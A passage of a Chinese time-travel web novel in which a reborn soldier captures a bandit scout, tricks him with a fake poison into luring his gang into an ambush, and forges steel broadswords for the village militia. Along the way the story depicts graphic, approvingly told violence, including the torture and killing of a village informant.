“咱们偷偷开个小灶,吃个烤猪獾!”
“好!”
老白头几个徒弟都高兴坏了。
纷纷涌出门外,在河边搭起石堆点起篝火,烧烤猪獾。
忙活了一整天,外面天已经黑了,繁星闪烁,晚风醉人。
围坐在河边火堆前,闻着烤猪獾散发出的油脂香味。
白天的疲惫,一扫而空。
薛猛正往猪獾肉上刷花椒酱,身后突然响起裴红玉的声音:“薛猛,你炼出了钢水,我输了,以后我就是你的贴身丫鬟。”
“你想怎么收拾我,就收拾我吧!”
薛猛一扭头,看着裴红玉气鼓鼓的样子,嘿嘿一笑,冲她勾了勾手指:“过来!”
见薛猛一副拿捏她的样子,裴红玉一咬牙,向前踏出一步。
“坐下,挨近一点,我又不会吃了你!”
裴红玉拳头捏得咯咯响,但最后还是松开了,满脸委屈地挨着薛猛身边坐下。
薛猛拿起一串烤猪獾肉,递给裴红玉:“我跟你闹着玩的,我家里有两个丫鬟了,不需要你当丫鬟。”
“来,试试看!看我烤的肉怎么样!”
裴红玉咽了口唾沫,薛猛烤的肉闻起来还挺香。
“吃就吃,怕你呀!”
裴红玉接过肉串,吃了一口,顿时愣住了。
“这……这真是猪獾肉?”
身为猎户之女,裴红玉从小吃过不少野味。
猪獾她也吃过,印象中这东西身上有股子腥膻味,很难去除。
可薛猛给她吃的肉,一点腥味都没有,只有浓郁的烤肉香味,还带着一点点辛香椒麻。
吃起来特别上头!
裴红玉一吃就停不下来了,一连吃了好几串。
“薛大哥,你到底是怎么烤的,同一只猪獾,怎么你烤的就是比我们烤的好吃!”
罗飞大口嚼着肉串,也是对薛猛的烤肉赞不绝口。
“嗯,这味儿是香啊!越嚼越香!”
就连老白头这个“老吃家”也是吃得哼哼唧唧:“要是老徐也在就好了,整上一壶玉壶春,就更美了!”
“嘿嘿,这烤肉倒也不难!”
说着,薛猛拿起一把肉串,往嘴里狠狠撸了几口。
罗飞他们烤肉,是直接拿一大块肉,不经过任何处理直接烤,快烤熟了才撒点盐巴。
这种极其原始的烤法,烤出来的肉又柴又不入味儿。
而薛猛是先将猪獾肉,按照相应纹理切成薄片或小块。
又在附近扯了些地椒、花椒、莳萝,加上盐巴等调料腌制一段时间,然后才用竹签穿起来烤。
大虞虽然还没有引进辣椒,但花椒、地椒都是蜀郡本地产物,同样可以带来辛麻滋味。
期间又反复涂抹腌汁,直至肉香四溢!
这样烤出来的肉,入口细嫩好嚼,而且特别入味。
“薛贤侄,想不到你对烤肉也这么有研究?”
老白头等人听完,恍然大悟,同时又感到难以置信。
薛猛文能作诗压倒洪雅县第一才子,开弓能射杀棕熊,发明出沙盘、水排,颠覆了大虞的冶炼技术。
现在就连烤肉都和别人不一样!
一个人脑子里怎么能想出这么多好东西?
裴红玉也是怔怔看着薛猛。
这个王八蛋,懂得真多啊!
还会治病呢!
吃着烤肉,薛猛鼻子一酸,想到了一些往事。
前世,他和几个老战友聊天,谈到退伍后打算干啥?
有的说要当一辈子兵。
有的服从组织安排。
有的要进特警队。
而薛猛的志向,则是盘个退伍老兵烧烤店!
所以专门学习了一段时间烧烤。
谁曾想自己居然穿越到了古代,在这河边烤起了猪獾肉,真是造化弄人呐!
三十斤的猪獾,薛猛本想留些给林雅娴和徐瑾儿他们尝尝,结果转眼功夫就被裴红玉这个大屁股旋完了。
真是吃得多,拉得多!
饭量都快跟他有一拼了!
就连罗飞这个吃货都只能甘拜下风。
“薛大哥!可算找着你了,爹爹有急事找你!”
脑子里正想着徐瑾儿,身后就响起了徐瑾儿的声音。
薛猛扭头一看,徐瑾儿火急火燎,朝着他跑了过来。
“瑾儿妹子,徐伯找我什么事?”
徐瑾儿喘着粗气,摇摇头,柳眉轻皱:“我也不清楚,好像是关于什么响马的事情。”
“爹爹在村南草庐等你,你快跟我一起过去吧!”
响马?
闻言,薛猛心弦一紧,立即起身跟着徐瑾儿离开铁艺坊,赶到了村南草庐。
裴红玉和罗飞也连忙跟了上去。
徐守业正在草庐前来回踱步,神情凝重。
“徐伯,出什么事了!是不是黑风岭响马有什么异动?”
听到身后传来脚步声,徐守业连忙回过头,对赶来的薛猛说道:“哎,贤侄你总算来了!有个人鬼鬼祟祟在咱们村子附近打探,但目前还不清楚是不是黑风岭响马。”
“方才老夫带人想捉住那厮,不曾想那厮身手了得,一跃半丈高,竟让他从眼皮子底下给跑了!”
“寇达、寇芳兄妹俩已经去追了,也不知道能不能追上!”
一跃半丈高?
罗飞和裴红玉闻言无不是满脸震惊。
薛猛也是心头一震。
这尼玛比乔丹跳得还高?
这响马不简单啊!
放前世都能参加奥运会了!
……
嗖嗖嗖!
夜色如魅,风声呼啸。
卧虎村外,一道黑影在丛林、坡地间上蹿下跳,两道黑影在背后穷追不舍。
飞檐走壁,翻墙过户,上树钻林。
许多高难度的动作,即便是跑酷运动员都难以完成。
一口气跑了得有七八里地。
当先那道黑影,回头没见身后两道黑影追来,这才松了口气,背靠一棵老树大口大口喘着粗气。
“呼!”
“可算把这俩货甩掉了!”
“没想到这么个小村子,居然有这样的高手!”
当探子这么多年,他还是头回遇到这么难缠的对手。
“好在卧虎村的地形,已经摸清楚了,这趟没白来。”
从兜里掏出一块白布,凭借记忆,用炭块在布上画下简单标记,起身准备离开。
飒!飒!
忽然头顶响起两道风声。
抬头一看,两道黑影宛若垂丝蜘蛛,从树冠迅疾垂下。
一左一右两只铁手,同时擒住他的胳膊,将他拽离地面,而后重重抛下。
“啊哟!”
探子毫无防备,被摔得七荤八素,险些吐血。
好不容易挣扎着爬了起来,那两道黑影已经来到他身前,从他怀里搜出了那块画着卧虎村地形图的白布。
“哥,你看,徐先生果然没猜错,这厮就是响马探子,他们是奔着薛家来的!”寇芳将白布递给寇达。
寇达看了几眼,果然看见薛家的位置被打上了标记。
收起白布,拔出解腕尖刀,寇达一把揪住探子衣领,冷声道:“这厮跑跳得快,先挑断他脚筋,再带回去交给恩公处置!”
探子闻言吓出一身冷汗,连忙拱手叫喊道:“别开家伙!二位朋友,看身手也是钻林子吃干粮的老手吧,哪路财神,不妨甩个蔓儿?”
寇芳嘴快:“告诉你也无妨,我是寇芳,这是我哥寇达!在这片地界上钻林子的,应该听过我兄妹俩的名号!”
探子闻言一喜:“哦!原来是‘飞狐’、‘飞雁’两位盗门豪杰!招子不亮,失敬失敬!在下‘山猫子’王小乙,在老鸦坎登架子落草!”
“自古盗匪不分家,既是同道,何必伤了和气!”
寇达紧了紧手中刀,抵住山猫子脖颈,两眼一瞪:“呸!谁跟你这杀人放火的土匪是同道,少跟我攀交情!”
山猫子急道:“人不亲艺亲,一碗饭大家吃,飞狐兄弟抬抬手,改日到俺们窑口请你搬浆子抿火山!”
寇达冷哼道:“谁稀罕喝你的马尿!跟你直说了吧,如今我跟妹子已靠了雪字旗,在这卧虎村安了家,落了户,你们敢打薛家主意,便是我的仇人!”
说完,寇达就要挑他脚筋。
见寇达动真格,山猫子瞳孔一缩,扯着破锣嗓子大叫:“俺娘想改嫁!俺有鲜货上贡!”
寇达一怔:“当真?”
山猫子道:“野鸭子满天飞,飞到哪里也吃食,二位豪杰都靠了雪字旗,想必那薛掌柜的也是讲究人儿,俺愿意把鲜货露给他。”
“玩蛋的,也不是个好玩意儿!”
寇达啐了一口,又道:“先过食盒,后过嫁妆!”
山猫子松了口气,麻溜地把衣服裤子全扒了,示意身上绝没有藏着武器。
仍由寇达用麻绳把手死死捆在一起,一并回到卧虎村。
“走,快走!”
不多时,寇达、寇芳兄妹推着山猫子,进了村南草庐。
见了山猫子,徐守业老眸一亮,指着他对薛猛说道:“长根儿,就是这厮一跳半丈高,十来个人都没捉住他!”
第55章 寇氏兄妹立大功
“哦?这厮真有那能耐?”
薛猛上下打量了山猫子一眼。
见这人穿一身灰布麻衣,踩着一双草鞋,脸上抹着泥,一双眼珠子贼亮,胡须乱糟糟,跟山里野猫成精似的。
一进来,就跪在了地上,看上去怂得一批。
就这货,真能一跳半丈高?!
薛猛有些不信。
“恩公,这小子道上有名,报号‘山猫子’,确实跑跳得快,身手不在我们兄妹之下!”
“这是从他身上搜出来的,恩公过目!”寇达从怀里取出白布,交给薛猛。
薛猛看了看,白布上标记着卧虎村的几个出入口。
虽然精确度和细节都比不上他的沙盘,但在这个时代,能画出这样的地形图,已经很难得了。
这山猫子,还真他娘是个人才!
要真让这地形图,落到了响马手里,卧虎村就更加危险了!
好在被寇氏兄妹截住了!
薛猛收起白布,轻笑道:“寇达,寇芳,今天你们两个捉住这山猫子,乃是大功一件!”
“每人赏二两银子,三斤肉!”
“多谢恩公!”
寇达、寇芳心中一喜,备受鼓舞。
别看他们以前翻墙越户,赚的是快钱,但他们内心时常受到良心谴责,坚持不偷穷人,只偷大户。
因此很少出手,每次所得也仅仅够温饱。
如今跟了薛猛,不仅有地方住,有饭吃,立了功还有银子奖赏,还不用受到良心谴责!
这样的日子,比以前在江湖上飘着舒坦多了。
追随薛猛,绝对是他们最正确的选择!
山猫子闻言,心头一惊。
多少?!
抓住探子,赏二两银子?
这踏马也太豪横了吧!
他在老鸦坎落草这些年,冒着生命危险踩盘子,立了不少功,最多的赏赐也就五斤米,半斤肉和几百文铜钱。
跟薛猛一比,当家的太抠门了!
难怪寇达寇芳愿意跟着薛猛!
换他也愿意!
寇达指着跪在地上的山猫子,对薛猛道:“恩公,山猫子想靠窑,说有鲜货上贡!”
“啥玩意儿?”
薛猛眉头一皱,没听懂。
寇达这才想起,薛猛不是道上人,不懂黑话,连忙解释道:“哦,就是这小子他也想投靠你,而且还有重要的情报要透露给你!”
薛猛一怔,随即果断拒绝,沉声道:“不行!绝对不行!黑风岭响马都是杀人放火之辈,人人得而诛之!”
“我们卧虎村不是藏污纳垢的地方,要是什么人都收,还不乱了套?”
寇氏兄妹本是难民出身,走投无路才误入歧途。
而且二人只取大户之财,从未害人性命,还算是没有泯灭人性,稍加改造,悬崖勒马为时不晚。
但响马是什么东西?
都是十恶不赦的杀人犯,已经不能称为人,和山里的豺狼虎豹没有区别!
卧虎村不是李庄,什么流寇强盗都敢收留!
山猫子急道:“薛大掌柜的!您误会了,我不是黑风岭响马,我原来也是白虎乡的村民,后来因为欠了李庄的银子还不上,李家要我的命,被逼无奈只能上了老鸦坎登架子落草!”
“我在老鸦坎做的都是踩盘子跑腿的活儿,从来没有杀过人!”
“老鸦坎?可是卧虎山北麓的老鸦坎?你们大当家的是不是叫马青锋?原先是个铁匠,杀了人才上山立了柱?”
徐守业老眸微眯,捋着胡须问道。
山猫子连连点头:“对对对!老先生太有见识了!居然还知道我们大当家的!是这样的,有人引线,说此地有一雪字旗,家里龙鼠极壮,可以狠爬上一爬。”
“大当家的这才命我下山踩盘子,想探探虚实。”
薛猛听得眉头直皱,心说这说的什么勾八,怎么听不懂!
寇达踢了山猫子一脚,冷声道:“恩公是清白人,跟恩公说话把舌头捋直了,说人话!”
山猫子捋了捋舌头,在绿林里厮混惯了,让他正常说话反而磕巴了起来:“哦,就……有个人跟我们大当家通风报信。”
“说你们卧虎村有个姓薛的发了财,家里耗子都吃得又肥又壮,让我们可以狠狠敲一笔。”
“什么人?”
薛猛闻言一怔,徐守业眉头一紧。
裴红玉和罗飞全都怒目圆瞪。
山猫子吓得一哆嗦,感觉这些村民比土匪还可怕,嘴里磕巴道:“那人,好像叫宋大芬,就是你们村子里的!”
薛猛挑眉:“宋大芬?!”
“这个吃里扒外的东西!以前她仗着她大哥宋大龙的势,在村子里横行霸道,如今她竟敢暗通土匪!看我怎么收拾她!”
裴红玉一咬牙,心中怒不可遏,转身大踏步出门。
宋大芬这只外强中干的母大虫,今天要被裴玉红这只货真价实的母老虎,狠狠收拾了!
徐守业凑近薛猛耳边,压低声说的:“老鸦坎虽比不上黑风岭那种大绺子,但在白虎乡已经算是最大的土匪窝子了!原先李庄也对老鸦坎忌惮三分,每年都会给他们交岁供!”
“这伙人大多数是农户和难民出身,狡猾得很,县衙派兵来剿,他们就躲进老林子里,或回到家扮做良民,等官兵一走,又卷土重来!”
“这山猫子既然有意投靠,不妨从他口中问出一些底细,我们也好早做应对!”
薛猛点点头,对山猫子问道:“我可以不杀你,但你必须如实告诉我,老鸦坎有多少人,多少马,都有些什么武器装备!”
“回薛大掌柜的话,老鸦坎人不多,常在山上的也就五十来号人,没有铁甲,只有大当家、二当家、三当家的各有一套皮甲,手中有三把青锋砍刀,异常锋利。”
“马有五匹,都是驽马,只有大当家、二当家、三当家骑,剩下两匹用来驮东西。”
“附近的棒子手,也都听俺们老鸦坎的,若遇上大活儿,大当家也会叫上他们!”
“原先打刘家庄,聚起过百十来号人!”
山猫子一五一十,把底全交了。
不交不行啊。
寇达、寇芳把刀都架他脖子上了。
听了山猫子这番话,罗飞和徐守业面面相觑,均是神色凝重。
徐守业沉声道:“刘家庄是青龙乡大户,全庄有上百乡勇!”
“结果一夜间就被洗劫一空,庄上男女老少全部死光,至今不知是谁人做下这等血案!”
“没想到,居然是老鸦坎这帮土匪干的!”
手里端着茶水,推门而入的徐瑾儿,偶然听得这话,吓得小脸惨白。
薛猛沉吟片刻,若有所思。
随即,低眉扫了眼山猫子:“山猫子,你是真心想投靠我?”
“当然是真心!”
山猫子诚惶诚恐。
薛猛招了招手,示意徐瑾儿把茶水端过来。
从兜里掏出一罐药泥,扣出一团,融在茶杯里,将茶水递到山猫子眼前:“你若是真心投靠我,就把这毒酒喝了!”
“啊?!”
山猫子手一抖,不敢接这茬。
寇达接过毒酒,捏开山猫子牙关,强行将毒酒灌进了他的嘴里。
刺鼻的药味,呛得山猫子眼泪鼻涕都出来了。
山猫子心中近乎绝望,瘫坐在地,就在这时,只听“啪”的一声,一锭白花花的银子丢在了他面前。
山猫子一怔,抬起头,只见薛猛俯视着他,慢悠悠道:“别担心,这毒三日后才会发作!待会儿我就放你走,你回了老鸦坎,就跟你们当家的说……”
“三日后,薛家纳妾,将要大摆宴席,卧虎村疏于防备,正好下山劫掠!薛家金银成山,叫他一定要点齐所有兵马,否则运不走这么多钱财!”
“这……”
别说山猫子听傻了。
徐守业和罗飞全都大吃一惊。
徐瑾儿小嘴微张,目光错愕,难以置信地看着薛猛。
薛大哥疯了吗?
他这是生怕土匪不来?!
第56章 宋大芬爆浆了!
薛猛拍了拍山猫子瑟瑟发抖的肩膀,邪魅淡笑道:“此事若成,三日后我不仅会给你解毒,还重重有赏!”
“若你胆敢耍花招,神仙也救不了你!”
“地上的五两银子,是给你的,拿走吧!”
五两?!
山猫子闻言,目光闪烁,对薛猛是又怕又敬。
之前他说要投靠薛猛,不过是缓兵之计,是为了不让寇达割了他的脚筋。
可现在,看见这白花花的银子,他是真想把命卖给薛猛!
同样是卖命,在老鸦坎只值几百文,而薛猛一出手就是五两!
事成后还另外有赏!
哪个更划得来,山猫子还是分得清楚的!
更何况,如今喝了薛猛的毒酒,若是敢耍花招,只怕小命难保啊!
连忙捡起地上的银子,捧在手心,山猫子笑嘻了:“薛大掌柜的,你放心吧,现在我这条小命儿,就当卖给你了!”
“我一定会把你的话,原封不动告诉大当……哦不,告诉马青锋那厮!”
“行,走吧!”
寇达、寇芳兄妹收了刀。
薛猛亲自送山猫子出了草庐,只见他几个闪跃间便消失在了夜色中。
“这家伙还真能一跳半丈高啊。”
看着山猫子的背影,薛猛啧啧称奇。
本以为是徐守业夸张了,没想到山猫子真有这本事。
放前世高低是个奥运冠军。
可在这乱世,居然沦落到当响马探子!
造化弄人呐!
寇达对薛猛一拱手,满脸钦佩敬畏:“恩公好手段,一杯毒酒,一锭银子,算是把这山猫子彻底拿捏死了!”
噗呲!
薛猛面无表情,实则憋笑差点憋出内伤。
毛线毒酒!
那药泥,是他准备给裴红玉治屁股的药,压根没毒,但是气味很冲,确实挺唬人的!
“哎!”
徐守业叹了口气。
薛猛这整治人的手段,确实了得,他也不得不佩服。
但一想到老鸦坎的土匪三天后就会前来劫掠,徐守业就不禁满脸愁容。
卧虎村的寨墙、箭楼,才刚刚动工,显然无法抵挡上百名匪寇。
薛猛回过头,看向徐守业:“徐伯,为何叹气呀?”
徐守业眉头紧锁,忍不住担忧道:“贤侄,我卧虎村一无寨墙阻拦,二无箭楼守卫。”
“若三日后,老鸦坎果真聚众前来,仓促之间,该如何抵挡?”
“呵呵!我不怕他们来,就怕他们不来!”
薛猛虎目如炬,冷冽一笑:“区区百八十草寇,何须阻挡?我就是要把他们斩尽杀绝,我要白虎乡,从此再无匪患!”
修建寨墙和箭楼,是为了抵挡黑风岭上千响马,黑风岭那伙人可是青狼军逃兵,不容小觑!
而老鸦坎这帮乌合之众,薛猛压根不放在眼里。
正好钢铁已经炼成!
明日就可以打造连弩和钢刀!
就让这伙土匪,来当磨刀石吧!
也正好借这个机会,把白虎乡附近的棒匪一网打尽,今后进城卖货,就不需要避开大路走小路了!
徐守业闻言惊疑:“贤侄,你要如何将他们斩尽杀绝?”
薛猛神秘一笑,卖了个关子:“徐伯,你就放宽心,等着看好戏吧!”
“三日后,我要大摆宴席,纳瑾儿为妾,你替我通知全村老少,让他们当天全部都来吃喜酒!”
“每家每户,都必须通知到!”
徐守业虽然不明白薛猛葫芦里到底卖的什么药,但见薛猛眼神笃定,也只能点头应承下来。
徐瑾儿则是小脸通红,心里宛若小鹿乱撞,怦怦直跳。
我没听错吧!
薛大哥终于要娶自己过门儿了?!
盼星星盼月亮,终于盼来了这一天!
但,若是土匪真的来了。
又该怎么办?!
徐瑾儿心里又高兴,又不免担忧起来。
翌日,薛猛将要迎娶徐瑾儿的喜讯,传遍了整个卧虎村。
村民们得知有喜酒喝,全都高兴得不行,把家里的鸡鸭蛋、笋干、野菜干全都攒起来,准备等着三天后,给薛猛随份子。
虽说这些东西不值什么钱,但去人家家里吃喜酒,总不能打着空手去。
全村上下,最高兴的还得是林雅娴,当得知薛猛要纳妾的那一刻,她深感大慰,流下了喜悦的泪水。
终于有姐妹一起抗日了!
打谷场上,两百多斤的宋大芬,被捆住双手吊在树上吊了一夜。
脸上鼻青脸肿,身上更是遍体鳞伤,没有一块好肉,整个人已经奄奄一息。
淌在地上的血,都已经变成了褐色,吸引了不少逐臭的苍蝇。
“没想到宋大芬也有今天!”
“这个泼妇,以前可没少欺负咱们!”
“听说她昨晚跑到薛家偷东西,被裴四妹逮住了!这种人,打死她也活该!”
看见曾经嚣张跋扈的宋大芬,成了这幅样子,路过的村民无不是拍手叫好。
还有不少小孩儿,往她身上吐口水、丢泥巴,骂她死肥猪。
宋大芬想要挣扎反抗,但稍微一动,身上的伤口就疼得她龇牙咧嘴。
昨晚,她睡在床上,正做美梦,梦见老鸦坎土匪下山,把薛家全家杀得干干净净!
就在薛猛要被老鸦坎土匪砍头的时候,砰的一声爆响,自家房门被踹塌了,将她惊醒了过来。
还没等她反应过来怎么回事,就看见裴红玉像条大虫一样扑了过来,二话不说,提起拳头就往她脸上招呼。
宋大芬空有一身肥肉,也就在村民们面前耍耍横,哪里是裴红玉的对手?
一顿胖揍,裴红玉把她打得亲妈都不敢认。
宋大芬儿子宋彪娃捡起砖头想偷袭裴红玉,结果被裴红玉一脚踹出五米远,嘎巴一下死了。
窝囊废丈夫张老黑,也被裴红玉逼得跳了河。
宋家算是彻底家破人亡了。
裴红玉要是把她直接打死,倒还好,可裴红玉偏偏只是打断她的骨头,留着她一口气。
把她双手食指反绑,吊在这大树上,脚尖微微离地。
两百斤的体重,全靠两根食指支撑,就这么活生生吊了一夜!
那种感觉,求生不能,求死不得,让她痛不欲生!
“姓裴的,你杀了我吧!”
宋大芬实在无法难受这种痛苦了,用尽最后的力气,冲不远处教长枪队练枪的裴红玉喊道。
杀了你?
想得美!
杀了宋大芬简直就是便宜她,对付这种人,就得折磨她才解气!
裴红玉懒得搭理这吃里扒外的死肥猪,专心指点长枪队发力技巧。
“裴红玉,你个烂屁股的,别以为我不知道,你跟薛猛的丑事!”
“我儿子都看见了,那天晚上,薛猛进了你闺房,你们这对狗男女,肯定有事儿!”
宋大芬一心求死,把裴红玉的短全揭了。
裴红玉银咬一牙,额头上青筋暴起。
她最恨别人说她烂屁股!
“去死吧!”
砰!
裴红玉狼腰一扭,铁腿横扫而出,直接踢在了宋大芬太阳穴上。
噗叽!
在一片马赛克画面中,宋大芬脑浆子溅了一地。
世界瞬间安宁了。
长枪队众人全都被眼前血腥一幕吓得汗流浃背,瞳孔骤缩,纷纷加紧练习枪术,不敢再多看一眼。
至于宋大芬刚才说了些什么,他们全都忘了。
对,一定是忘了!
就连隔壁训练投掷手和大刀队的罗飞、郑灵均,都是不寒而栗。
这裴姑娘,也太暴力了!
“裴队长、罗队长、郑队长,恩公找你们到铁艺坊去,说有要事相商!”
身后冷不丁响起寇芳的声音,暴怒中的裴红玉,忍不住一哆嗦。
裴红玉转过头,冷冷看向寇芳:“你走路怎么没声音?跟鬼一样!吓到我了!”
寇芳看着满地的脑浆子,倒吸一口凉气,心说到底谁吓谁啊?
“不好意思,习惯了,下次我尽量发出脚步声。”
站在裴红玉面前,在江湖上颇有几分名气的女贼“飞雁”,就跟只小麻雀一样乖巧。
扬起脸,不失尴尬地笑了笑。
虽然刚到卧虎村没几天,但寇芳已经听说了裴红玉跟棕熊肉搏的威名。
还听人说,裴红玉似乎跟恩公有些不可告人的关系。
总之,要想在卧虎村立足,和裴红玉搞好关系是很有必要的。
“姐没有怪你的意思,你别多想。”
裴红玉怒气渐渐消退,意识到自己对寇芳太凶了,声音柔细了下来。
伸手捏了捏寇芳的小脸儿,感觉这小玩意儿长得挺别致的,小小的一只。
寇芳任由对方拿捏,动都不敢动一下。
“罗兄,郑叔,走吧!咱们去铁艺坊看看,薛猛这小子又搞什么鬼名堂!”
说完,裴红玉扛着长枪,转身就走!
看着裴红玉风风火火的背影,罗飞和郑灵均皆是无奈苦笑。
现在整个卧虎村,也就裴红玉敢直呼薛猛的大名了。
其他人见了薛猛,哪个不是满口薛爷、薛掌柜、东家的叫着!
……
铛铛铛!
铁艺坊。
火星四溅,汗水挥洒!
叮叮当当打铁声,响了整整一夜。
昨晚离开草庐后,薛猛马上又折返铁艺坊,让老白头他们抓紧打造钢刀和连弩配件!
就连薛猛都亲自脱了衣服,光着膀子,跟大家一起干!
战略上可以藐视敌人,但战术上必须重视敌人!
老鸦坎土匪虽是乌合之众,但毕竟是土匪,要想克敌制胜,没有钢刀和连弩可不成!
打铁这活儿,真不是一般的累!
要不是这几天每天锻炼,薛猛的体能还真有些跟不上。
一宿没合眼,亲眼看着钢坯在铁锤锻打之下,逐渐成型,成就感满满。
薛猛打的是大刀!
就是杀鬼子的那种大刀!
形制粗犷,开长短两条血槽,不算美观,但是霸气侧漏,一砍一个不吱声!
薛猛倒是想打造唐刀或者乌兹钢刀来着,但唐刀工艺复杂,如今时间仓促怕是来不及了。
乌兹钢刀需要湖铁合金,眼下也不现实。
只有大刀,最简单,最粗暴!
裴红玉一进院子,就看见薛猛光着膀子,挥着铁锤,浑身汗水淋漓,肌肉油亮油亮的。
这家伙,什么时候长这么壮了?
半个月前,薛猛还是骨瘦如柴,可现在薛猛上身已经有了明显的肌肉轮廓。
虽然比不上裴红玉高大,但是身材比例很好,肌肉轮廓看上去像穿了铠甲一样。
别说裴红玉瞪圆了眼,看愣了神。
就是罗飞一个男人,都看直了眼!
第57章 劈山大刀
罗飞自恃自己也挺壮实,但肌肉轮廓远不如薛猛这身肌肉看着精悍漂亮。
同样是一身肌肉,但长在不同人身上,看上去就不一样。
裴红玉像狼,罗飞像牛,而薛猛则像一只虎豹!
或许这就是人与人之间的差距吧!
“滋啦……”
薛猛将打好的大刀,投入盐水中淬火。
紧接着经过三四次回火淬火。
薛猛开始打磨开刃,安上刀柄。
一柄跨越时空的大刀!
就此横空出世!
“这是什么刀?我怎么从来没有见过!”
作为用刀的行家,看着薛猛手中的刀,郑灵均顿时来了兴趣。
他从来没有见过这样的刀。
刀身厚重,刀尖上翘,刀刃宽大,还开着长短两条血槽。
看上去霸气侧漏,寒意逼人!
“劈山大刀!”
薛猛给刀柄上缠上麻绳,扯了一段红绸,穿过末尾的刀环,打了个防滑结。
如此一来,砍人的时候就不用担心血太多手滑了!
劈山大刀?!
这名字,太豪迈了!
郑灵均虎躯一震,三十年的刀客经验告诉他,薛猛手中这把刀,非比寻常,定然极其锋利!
“你这刀看上去是挺不一样的,但真的好用吗?”
裴红玉也是被薛猛手中的刀吸引住目光,但还是忍不住发出疑问。
“试试不就知道了!”
薛猛也不废话,扛着大刀,带着众人来到了院子里。
三头野猪!
一头马鹿!
倒挂在院子里!
这些猎物,全都是伐木队在山里伐木时撞上,被随行的巡猎队猎杀的!
薛猛让他们全都送了过来,正好用来检验手中大刀是否锋利。
他这是……
想干什么?
见薛猛站在一头野猪面前,拉开架势。
裴红玉不由一怔。
薛猛难不成想用刀生劈整猪?
唰!
只见薛猛深吸一口气,虎目精芒闪烁,一只手紧握刀柄,一只手扣住防滑结。
扭腰蹬地,猛然发力!
咔!
一道寒光犹如闪电划过,一刀直劈而下!
哗!
一整只野猪,直接被劈山大刀劈开成两半!
嘶!
在场众人无不是倒吸一口凉气。
裴红玉冰眸圆瞪。
罗飞近乎呆滞。
郑灵均欣喜若狂。
而老白头和几名徒弟,也纷纷停下了手里的动作,目瞪口呆地看着院中发生的一幕。
野猪皮糙肉厚,寻常刀剑很难穿透它的皮肉,得用长矛才能将其制服!
可薛猛,竟然一刀就将野猪活生生劈开了!
虽然大家都知道,薛猛炼出了钢铁,打造的兵器再差也不会差到哪里去。
但这劈山大刀,锋利到这个程度,还是让人难以置信!
要生劈野猪,不仅需要刀刃锋利,刀身强度也是重中之重,否则很容易崩口断裂!
一般来说,锋利的刀强度都不怎么样。
可薛猛这刀,强度和锋利俱全,堪称神兵利器!
“我刀法一般,无法发挥出这把刀的全部威力!”
说着,薛猛将劈山大刀交给郑灵均:“郑叔,你试试看!”
郑灵均虎躯一震,随即无比郑重地双手捧过薛猛手中的劈山大刀。
闭上双眼,轻抚刀身,仿佛在感受刀的呼吸。
“大家闪开!”
薛猛抬手,示意所有人退到安全距离。
郑灵均睁眼刹那,身形如猎豹掠出,肩臂耸动,手起刀落。
唰!
白色刀光犹如新月扫出。
两头野猪被拦腰扫断!
血雨飞溅!
全场震惊!
郑灵均抬起手,仔细打量了一番刀刃,一点崩口卷刃的痕迹都没有。
刀上滴血不沾,依旧雪亮森寒!
“好一个劈山大刀,果真有开天劈地之势,简直就是为砍杀而生!”
“老夫今日得见此刀,平生无憾也!”
“太霸道了!”
郑灵均看着手里的劈山大刀,爱不释手,目光都快拉丝了。
这刀比他匣中的虎头砍刀,还要厉害!
“薛贤侄,此等宝刀,你一定要好好珍藏!”
郑灵均将劈山大刀双手递还给薛猛。
在他看来,这样的宝刀,已经无法用金钱来衡量!
应该当作传家之宝,珍藏一生!
薛猛摆摆手,轻笑道:“郑叔,这刀就是为你打的!”
“什么?!”
听闻此言,郑灵均双目圆瞪,难以置信地看着薛猛。
这等绝世宝刀,居然是为我打的?
我老郑,何德何能啊!
捧着手里的劈山大刀,一向稳如老狗的郑灵均,激动得手都抖了起来。
薛猛又道:“三天内,我要给大刀队全部配上这钢铁打造的劈山大刀!”
“我要组建一支战无不胜,攻无不克,名副其实的大刀队!!”
薛猛负手而立,虎目精光内敛!
声音不大,但一字一句,铿锵有力,掷地有声!
回荡在铁艺坊中,余音绕梁。
所有人心中都被激起了惊涛骇浪,愣在原地怔怔出神。
“兔崽子们,别傻愣着了,接着干!”
“三天内,一定要把刀全部打出来!”
老白头热血沸腾,带着几个徒弟,马上回到工位,埋头拼命锻打钢刀!
原本熬了一宿,几人都有些疲乏了,但现在见识到了这劈山大刀的威力,老白头瞬间精神百倍。
赵康、周威、秦朗、庄翼四人,也都跟打了鸡血一样!
心里有火,眼中有光!
这辈子若能亲手锻造出一把劈山大刀,将成为他们此生不可磨灭的荣耀!
先前质疑薛猛的裴红玉目眩神迷,魂儿都快被郑灵均手里的大刀勾走了!
虽是女儿身,但她从来不爱什么胭脂水粉,也不喜欢漂亮衣裳,独独对这神兵利器心向往之!
“薛猛!我要!快给我!”
裴红玉拽着薛猛胳膊,跟个疯婆子一样激动地吼叫起来。
薛猛整个人都快被她摇散黄了。
满脸生无可恋。
薛猛一把甩开裴红玉的手:“大刀不适合你!”
闻言,裴红玉怒了!
“昨天我要狼牙箭,你说不适合我,今天我要劈山大刀,你也说不适合我!”
“我看你分明就是骗人,糊弄我!”
“不给我算了,我以后再也不理你了!”
说完,裴红玉抹了抹眼泪,扭头朝院外跑了出去。
诶?
怎么哭了?
原来这母老虎,也会哭?
真稀奇啊!
裴红玉气哭的样子,薛猛觉得挺好玩儿,不由得乐了出来。
郑灵均皱眉道:“薛贤侄,裴姑娘好像真是伤心了,你还是去看看她吧。”
望着裴红玉跑出去的背影,薛猛一怔点头。
大屁股真伤心了吗?
“那行,我去看看她!”
第58章 大战将至
薛猛追出门去,最后在桥边找到了裴红玉。
裴红玉独自坐在青石上,肩膀一耸一耸的,像是在偷偷抹眼泪。
看样子,是真的伤心了!
毕竟是个女人,就算外壳再怎么刚强,内芯也有柔软的一面。
薛猛放缓步子,缓缓来到了桥边,紧挨着裴红玉身边坐下。
裴红玉冷哼一声,起身就走,看都不想多看薛猛一眼。
“红玉妹子,我真没糊弄你!”
“三天后,我给你量身打造一件兵器,包你满意!”
“不听不听,王八念经!”
裴红玉捂住耳朵,扭着大腚头也不回地跑回了打谷场。
把心中愤怒全部宣泄在了长枪队队员的身上!
接下来三天,裴红玉没有跟薛猛说一句话。
每日集日晕,逐星芒,把长枪队像揉面团一样揉捏得死去活来。
长枪队十名队员,被裴红玉折磨得叫苦不迭,到了后面都麻木了。
一会儿要他们在枪头上吊重物站枪桩。
一会儿要他们用宋大芬的尸体练刺杀。
还要反复练弓步、垫步、滑步,把鞋底都快磨穿了。
在一声声惨叫中,长枪队的人连自己都没意识到,自己已经脱胎换骨。
